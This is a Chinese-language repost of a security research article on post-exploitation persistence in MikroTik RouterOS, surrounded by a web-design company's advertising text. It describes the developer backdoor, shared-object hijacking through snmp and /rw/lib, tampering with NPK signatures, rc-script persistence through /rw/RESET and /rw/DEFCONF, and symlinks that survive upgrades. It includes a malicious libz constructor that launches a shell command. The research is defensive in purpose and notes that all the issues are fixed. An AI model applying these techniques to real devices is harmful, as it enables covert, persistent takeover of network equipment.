RouterOS的后滲透研究是怎樣的

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)RouterOS的后滲透研究是怎樣的,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

創(chuàng)新互聯(lián)建站專注于溫泉網(wǎng)站建設(shè)服務(wù)及定制,我們擁有豐富的企業(yè)做網(wǎng)站經(jīng)驗(yàn)。 熱誠(chéng)為您提供溫泉營(yíng)銷型網(wǎng)站建設(shè),溫泉網(wǎng)站制作、溫泉網(wǎng)頁(yè)設(shè)計(jì)、溫泉網(wǎng)站官網(wǎng)定制、成都小程序開發(fā)服務(wù),打造溫泉網(wǎng)絡(luò)公司原創(chuàng)品牌,更為您提供溫泉網(wǎng)站排名全網(wǎng)營(yíng)銷落地服務(wù)。

RouterOS

在正式開始討論后期利用之前,你需要對(duì)RouterOS的一般設(shè)計(jì)有所了解。就我們的目的而言,要理解的最重要的事情之一是系統(tǒng)上的所有內(nèi)容都是一個(gè)包。如下圖所示,你可以看到我在hAP上安裝的所有軟件包。

RouterOS的后滲透研究是怎樣的

甚至標(biāo)準(zhǔn)的Linux-y目錄(如/bin/, /lib/, /etc/)都來(lái)自一個(gè)包。系統(tǒng)包被指定。

包使用的文件格式為NPK。Kirils Solovjovs制作了該描述文件格式的圖表。每個(gè)NPK都包含一個(gè)squashfs部分。在啟動(dòng)時(shí),squashfs文件系統(tǒng)將被提取并安裝到/pckg/目錄中(或者根據(jù)安裝方法進(jìn)行符號(hào)鏈接)(對(duì)于系統(tǒng)包來(lái)說(shuō),這并不完全正確,但我們可以忽略這一點(diǎn))。

RouterOS的后滲透研究是怎樣的

Squashfs是只讀的。從上圖中你可以看到,我無(wú)法touch /pckg/dhcp/lol文件。這可能會(huì)讓你產(chǎn)生錯(cuò)覺(jué)認(rèn)為整個(gè)系統(tǒng)都是只讀的,但事實(shí)并非如此。例如,/pckg/實(shí)際上是/ram/中讀寫tmpfs空間的一部分。

RouterOS的后滲透研究是怎樣的

此外,系統(tǒng)的/flash/目錄指向持久讀寫存儲(chǔ)。那里存儲(chǔ)了很多配置信息。此外,只有持久存儲(chǔ)用戶可以訪問(wèn),/flash/rw/disk/,在這個(gè)空間中被發(fā)現(xiàn)。

RouterOS的后滲透研究是怎樣的

雖然系統(tǒng)所有的可執(zhí)行文件似乎都位于只讀空間中,但似乎存在一些攻擊者可以操作的讀寫空間,包括tmpfs和persistent。技巧是弄清楚如何使用該空間來(lái)實(shí)現(xiàn)和維持執(zhí)行。

另外一件重要的事情是,用戶實(shí)際上無(wú)法訪問(wèn)RouterOS上真正的shell。在上面的截圖中,似乎我擁有一個(gè)root shell。但這僅僅是因?yàn)槲依昧寺酚善鞑⒂昧碎_發(fā)人員的后門。這實(shí)際上不太可能,所以我要感謝漏洞的“魔力”。

如果你對(duì)RouterOS中的開發(fā)人員后門并不熟悉,這里有一個(gè)非常簡(jiǎn)短的概述:自RouterOS 3.x以來(lái),系統(tǒng)被設(shè)計(jì)為如果系統(tǒng)的特定位置存在特定文件,則提供一個(gè)可通過(guò)telnet或ssh訪問(wèn)的root busybox shell(該位置多年來(lái)已發(fā)生了改變)。假設(shè)存在特定文件,則可以通過(guò)使用admin用戶和密碼devel的身份登錄訪問(wèn)busybox shell。

在以下視頻中你可以看到,我利用HackerFantastic的set tracefile漏洞,在RouterOS 6.41.4上創(chuàng)建了特定文件/pckg/option。該文件的存在使得后門訪問(wèn)成為可能。當(dāng)我以devel身份登錄、然后刪除文件并注銷之后,我就不能再訪問(wèn)root shell了。

演示視頻

攻擊來(lái)自 SNMP 內(nèi)部!

snmp二進(jìn)制文件(/nova/bin/snmp)是系統(tǒng)包的一部分。但是,有各種其他軟件包想要將自己的功能添加到snmp中。例如,dhcp包。在下圖中,你可以看到/ pckg/dhcp具有/snmp/子目錄。

RouterOS的后滲透研究是怎樣的

當(dāng)snmp二進(jìn)制文件啟動(dòng),它將遍歷/pckg/中的所有目錄并查找/nova/lib/snmp/子目錄。該子目錄中的任何共享對(duì)象都會(huì)傳遞給dlopen(),然后調(diào)用共享對(duì)象的autorun()。

由于dhcp軟件包以只讀方式掛載的,因此攻擊者無(wú)法修改已加載的共享對(duì)象。但是/pckg/是讀寫的,因此攻擊者可以引入自己的目錄結(jié)構(gòu)(例如/pckg/snmp_xploit/nova/lib/snmp/)。存儲(chǔ)在那里的任何共享對(duì)象都將由snmp加載。

RouterOS的后滲透研究是怎樣的

攻擊者可以隱藏在只讀空間的進(jìn)程中。但是當(dāng)它與可以將文件寫入磁盤(如CVE-2019-3943或CVE-2018-14847)的漏洞結(jié)合使用時(shí),它會(huì)更有用。

我寫了一個(gè)PoC來(lái)說(shuō)明CVE-2019-3943的用例。實(shí)質(zhì)上,經(jīng)過(guò)身份驗(yàn)證的攻擊者可以使用漏洞的目錄遍歷來(lái)創(chuàng)建/pckg/目錄結(jié)構(gòu)。

RouterOS的后滲透研究是怎樣的

創(chuàng)建目錄后,攻擊者需要?jiǎng)h除磁盤上的共享對(duì)象。幸運(yùn)的是,CVE-2019-3943也可以做到這一點(diǎn)。顯然,真正的攻擊者可以從共享對(duì)象執(zhí)行任何操作,但是為了概念驗(yàn)證,我直接從構(gòu)造函數(shù)創(chuàng)建了6.41+后門文件。

RouterOS的后滲透研究是怎樣的

PoC甚至?xí)V共⒅貑NMP進(jìn)程,以確保在不重啟系統(tǒng)的情況下加載共享對(duì)象。

RouterOS的后滲透研究是怎樣的

由于/pckg/位于tmpfs空間,因此即使PoC沒(méi)有刪除腳本,腳本創(chuàng)建的目錄結(jié)構(gòu)也會(huì)在重啟時(shí)被刪除。

與上面類似,我發(fā)現(xiàn)我可以從/flash/rw/lib中獲取系統(tǒng)二進(jìn)制文件來(lái)加載庫(kù)。這是因?yàn)?rw/lib/是LD_LIBRARY_PATH環(huán)境變量中的第一個(gè)條目。

RouterOS的后滲透研究是怎樣的

從/rw/lib/加載庫(kù)的好處在于,因?yàn)樗浅志玫奈募臻g,共享對(duì)象將在重啟后保持不變。唯一的挑戰(zhàn)是弄清楚我們想要劫持哪個(gè)庫(kù)。顯而易見(jiàn)的選擇是libc.so,因?yàn)樗梢员WC在任何地方都能加載。但是RouterOS使用uClibc,坦率地說(shuō),我不想處理它。

謝天謝地,我偶然發(fā)現(xiàn)了這個(gè)。

RouterOS的后滲透研究是怎樣的

/nova/bin/fileman加載libz。fileman是通過(guò)Winbox或Webfig從用戶的/rw/disk目錄進(jìn)行讀寫操作的系統(tǒng)二進(jìn)制文件。當(dāng)用戶導(dǎo)航到“Files”界面時(shí),它會(huì)被執(zhí)行,但在用戶導(dǎo)航離開后,它會(huì)關(guān)閉,并閑置一分鐘的時(shí)間。

為了編譯惡意庫(kù),我只需下載libz 1.2.11并將此構(gòu)造函數(shù)添加到deflate.c:

void __attribute__((constructor)) lol(void)
{
    int fork_result = fork();
    if (fork_result == 0)
    {
        execl("/bin/bash", "bash", "-c",
           "mkdir /pckg/option; mount -o bind /boot/ /pckg/option",
           (char *) 0);
        exit(0);
    }
}

你可以再次看到,我剛剛選擇創(chuàng)建后門文件。為了概念驗(yàn)證,我將新的libz.so交叉編譯為MIPS big-endian(大端字節(jié)順序),以便我可以在我的hAP路由器上測(cè)試它。

再次,概念驗(yàn)證使用CVE-2019–3943創(chuàng)建“l(fā)ib”目錄并將庫(kù)放在磁盤上。

RouterOS的后滲透研究是怎樣的

但是,與SNMP攻擊不同,/rw/lib/libz.so將在重啟后繼續(xù)運(yùn)行,并且實(shí)際上在啟動(dòng)序列中很早就會(huì)加載。這意味著每次重啟后,后門文件都將在啟動(dòng)時(shí)被創(chuàng)建。

簽名驗(yàn)證

存儲(chǔ)在/flash/中的一個(gè)更有趣的東西是/flash/var/pdb/中的文件。

RouterOS的后滲透研究是怎樣的

事實(shí)證明,這是RouterOS存儲(chǔ)所有已安裝NPK文件的地方。奇怪的是作為root,它們都是可寫的。從我的經(jīng)驗(yàn)可以告訴你,你肯定不想重寫系統(tǒng)包。

當(dāng)我知道我可以通過(guò)系統(tǒng)包來(lái)break整個(gè)系統(tǒng)時(shí),我有點(diǎn)好奇。如果我再小心一點(diǎn)呢?如果我只是重寫包的squashfs文件系統(tǒng)呢?會(huì)安裝嗎?

我寫了一個(gè)名為modify_npk的工具來(lái)進(jìn)行測(cè)試。這個(gè)工具非常簡(jiǎn)單,它需要一個(gè)有效的MikroTik NPK(例如dude-6.44.5.npk)和一個(gè)用戶創(chuàng)建的squashfs。該工具會(huì)刪除有效的MikroTik    squashfs部分并插入用戶的惡意squashfs。從理論上講,modify_npk只需要一個(gè)新的內(nèi)部squashfs就可以生成一個(gè)完美的NPK。

問(wèn)題是MikroTik在安裝NPK包時(shí)強(qiáng)制執(zhí)行簽名驗(yàn)證。如果你嘗試安裝一個(gè)modify_npk包,那么RouterOS會(huì)將其標(biāo)記為已損壞并拒絕它。請(qǐng)參閱以下日志文件中的wrasse.npk:

RouterOS的后滲透研究是怎樣的

我們不能讓其他人在這些系統(tǒng)上安裝任何他們想要的東西。但如果我們從我們自己的root shell進(jìn)行安裝呢?

RouterOS的后滲透研究是怎樣的

理論上,在安裝文件系統(tǒng)之前,RouterOS應(yīng)始終對(duì)存儲(chǔ)的NPK執(zhí)行簽名檢查,因?yàn)樗鼈兌际亲x寫的,對(duì)吧?

RouterOS的后滲透研究是怎樣的

在上圖中,你可以看到系統(tǒng)上已成功安裝了wrasse,bad signature等等!顯然,這意味著我創(chuàng)建的squashfs已經(jīng)安裝。

RouterOS的后滲透研究是怎樣的

當(dāng)然,僅僅安裝squashfs還不夠,因?yàn)槲覄?chuàng)建的文件系統(tǒng)實(shí)際上包含一個(gè)rc腳本,它將在啟動(dòng)時(shí)創(chuàng)建后門文件。

RouterOS的后滲透研究是怎樣的

這非常有用,因?yàn)樗鼤?huì)在重啟后持續(xù)存在。雖然,用戶可以通過(guò)使用“檢查安裝(Check Installation)”功能來(lái)捕獲此特定攻擊。

RouterOS的后滲透研究是怎樣的

MikroTik悄無(wú)聲息地修補(bǔ)了6.42.1中的這個(gè)bug。之所以說(shuō)是“悄無(wú)聲息”,是因?yàn)槲覜](méi)有看到任何特定的發(fā)布或說(shuō)明,這表明他們決定在每次重啟時(shí)強(qiáng)制執(zhí)行簽名驗(yàn)證。

RC 腳本

RouterOS使用rc腳本在引導(dǎo)后啟動(dòng)進(jìn)程,并在關(guān)閉期間清理某些進(jìn)程。操作系統(tǒng)有一個(gè)傳統(tǒng)的/etc/rc.d/run.d/文件結(jié)構(gòu),我們將討論這個(gè)結(jié)構(gòu),但它也有(或有)其他地方執(zhí)行rc腳本。

/flash/etc/

如前所述,RouterOS有一個(gè)傳統(tǒng)的/etc/目錄,但由于該目錄是只讀的,所以攻擊者無(wú)法修改或引入腳本。

RouterOS的后滲透研究是怎樣的

乍一看,就rc腳本而言,它似乎沒(méi)有那么有用。但是,正如Bignerd95在他的Chimay Red存儲(chǔ)庫(kù)中指出的,你可以在/flash/etc/中創(chuàng)建一個(gè)/rc.d/run.d/子目錄,其中存儲(chǔ)的任何rc腳本在啟動(dòng)和關(guān)閉時(shí)都將被視為普通rc腳本。

在下面的示例中,你可以看到我創(chuàng)建了/flash/etc/rc.d/run.d/,并打印出了s89lol腳本的位置。重啟后,將執(zhí)行腳本并創(chuàng)建開發(fā)人員后門。

這種行為在6.40.9之后被移除。然而,直到那時(shí),這是一個(gè)非常簡(jiǎn)單和方便的持久性機(jī)制。

/rw/RESET

RouterOS在/etc/rc.d/run.d/中有一堆腳本,但有兩個(gè)我想特別拿來(lái)說(shuō)下。第一個(gè)是S08config,這是因?yàn)樵?.40.5中它包含了以下邏輯:

elif [ -f /rw/RESET ]; then
    /bin/bash /rw/RESET
    rm -rf /rw/RESET

這意味著如果/rw/RESET存在,則S08config將在啟動(dòng)時(shí)將其作為bash腳本執(zhí)行。這是一種明顯的持久性機(jī)制。很明顯它實(shí)際上是在野觀察到的:

RouterOS的后滲透研究是怎樣的

這個(gè)論壇用戶獲得了MikroTik的調(diào)試包,并能夠檢查一些后利用的文件。在這里我們可以看到攻擊者使用/rw/RESET來(lái)執(zhí)行他們的/rw/info二進(jìn)制文件。也許這也是為什么MikroTik改變了S08config行為的原因。

/rw/DEFCONF

與/rw/RESET類似,/rw/DEFCONF的內(nèi)容可以通過(guò)S12defconf中的eval語(yǔ)句執(zhí)行。

defcf=$(cat /rw/DEFCONF)
echo > /ram/defconf-params
if [ -f /nova/bin/flash ]; then
    /nova/bin/flash --fetch-defconf-params /ram/defconf-params
fi
(eval $(cat /ram/defconf-params) action=apply /bin/gosh "$defcf";
 cp "$defcf" $confirm; rm /rw/DEFCONF /ram/defconf-params) &

這是在6.40.1中首次引入的,但與/rw/RESET不同,這在6.45.3中尚未被修復(fù)。實(shí)際上,這是Cleaner Wrasse用于在路由器上建立重啟持久性的方法。我使用CVE-2019-3943編寫了一個(gè)PoC,以證明遠(yuǎn)程認(rèn)證的攻擊者是如何濫用/rw/DEFCONF來(lái)實(shí)現(xiàn)后門并建立持久性的。

RouterOS的后滲透研究是怎樣的

/pckg/

正如我們?cè)诒疚牡暮灻?yàn)證部分所看到的那樣,/pckg/的每個(gè)包都可以有一個(gè)包含rc腳本的/etc/rc.d/run.d/目錄。/pckg/是tmpfs的一部分,因此攻擊者在/pckg/中創(chuàng)建的任何內(nèi)容,都不會(huì)在重啟后持續(xù)存在,但新的rc腳本將在關(guān)閉時(shí)執(zhí)行。

這有用嗎?有一個(gè)關(guān)于/rw/DEFCONF的點(diǎn)之前我一直沒(méi)向大家提及到,那就是它在系統(tǒng)上的存在會(huì)導(dǎo)致登錄出現(xiàn)問(wèn)題。Cleaner Wrasse通過(guò)在/rw/.lol中暫存一個(gè)文件,然后在/pckg/中創(chuàng)建一個(gè)rc腳本來(lái)避免這個(gè)問(wèn)題,該腳本會(huì)在關(guān)閉時(shí)創(chuàng)建/rw/DEFCONF文件。這樣,Cleaner Wrasse就可以避免登錄時(shí)的問(wèn)題了,但在系統(tǒng)再次啟動(dòng)時(shí),一定要確保其存在。

RouterOS的后滲透研究是怎樣的

符號(hào)鏈接

我在本文中提到的許多PoC都使用了CVE-2019-3943這個(gè)漏洞,但它已在2019年5月份被修補(bǔ)(6.43.15 Long-term)。除非使用Kirilis Solojov的USB越獄,否則沒(méi)有更多的公開方法來(lái)啟用后門文件以及root設(shè)備。那么我又該如何做到這一點(diǎn)呢?

RouterOS的后滲透研究是怎樣的

答案很簡(jiǎn)單。當(dāng)我仍能夠使用CVE-2019-3943漏洞利用路由器時(shí),我在root用戶的/rw/disk目錄中創(chuàng)建了一個(gè)隱藏的符號(hào)鏈接。

RouterOS的后滲透研究是怎樣的

升級(jí)后,只需FTP到路由器中,然后將符號(hào)鏈接遍歷到root。從那里你可以用你想要的許多方法中的一種來(lái)實(shí)現(xiàn)執(zhí)行。在下圖中,我將libz.so放到/rw/lib/中以啟用后門。

RouterOS的后滲透研究是怎樣的

RouterOS沒(méi)有為普通用戶提供創(chuàng)建符號(hào)鏈接的方法,因此你只能通過(guò)利用來(lái)實(shí)現(xiàn)。但RouterOS也不會(huì)嘗試刪除符號(hào)鏈接。只要是這樣,我們就可以繼續(xù)使用存活的符號(hào)鏈接在升級(jí)后重建root shell。

Winbox或Webfig都不會(huì)顯示隱藏文件。偶爾通過(guò)FTP檢查用戶目錄,以確保其中沒(méi)有隱藏的內(nèi)容是必要的。

RouterOS的后滲透研究是怎樣的

那么這里發(fā)生了什么?

我已經(jīng)分享了很多實(shí)現(xiàn)執(zhí)行的方法。所以當(dāng)我偶然發(fā)現(xiàn)這個(gè)的時(shí)候,我有點(diǎn)困惑:

RouterOS的后滲透研究是怎樣的

上圖來(lái)自CVE-2018–14847的第一份公開報(bào)告。在它有CVE之前。在它被MikroTik發(fā)現(xiàn)之前。一位用戶突然出現(xiàn)在MikroTik論壇上,并詢問(wèn)了有關(guān)潛在Winbox漏洞(在他們?cè)O(shè)備上發(fā)現(xiàn)了一個(gè)奇怪的登錄和可疑文件)的問(wèn)題。上面的圖片來(lái)自于他們發(fā)現(xiàn)的一個(gè)叫做save.sh的bash腳本。

我在這篇文章中向大家展示了,攻擊者不需要將任何東西存儲(chǔ)在用戶可以訪問(wèn)的唯一目錄中。然而,這正是攻擊者所做的。/flash/rw/pckg/是指向用戶的/flash/rw/disk/目錄的符號(hào)鏈接。由此產(chǎn)生的后果也迫使MikroTik做了一些強(qiáng)化

修復(fù)

當(dāng)然!本文中提及的所有問(wèn)題目前都已被修復(fù)。只需通過(guò)一些微小的修改,或是避免以root身份執(zhí)行所有內(nèi)容都可以達(dá)到修復(fù)的目的??v深防御很重要,但有時(shí)它并不是一個(gè)高優(yōu)先級(jí)。我預(yù)計(jì)未來(lái)也不會(huì)發(fā)生任何重大的變化,但希望MikroTik可以對(duì)其發(fā)展計(jì)劃進(jìn)行一些小的防御深度改進(jìn)。

上述就是小編為大家分享的RouterOS的后滲透研究是怎樣的了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

網(wǎng)頁(yè)標(biāo)題:RouterOS的后滲透研究是怎樣的
網(wǎng)頁(yè)網(wǎng)址:http://muchs.cn/article10/iepsdo.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供ChatGPT、響應(yīng)式網(wǎng)站、、軟件開發(fā)Google、搜索引擎優(yōu)化

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都做網(wǎng)站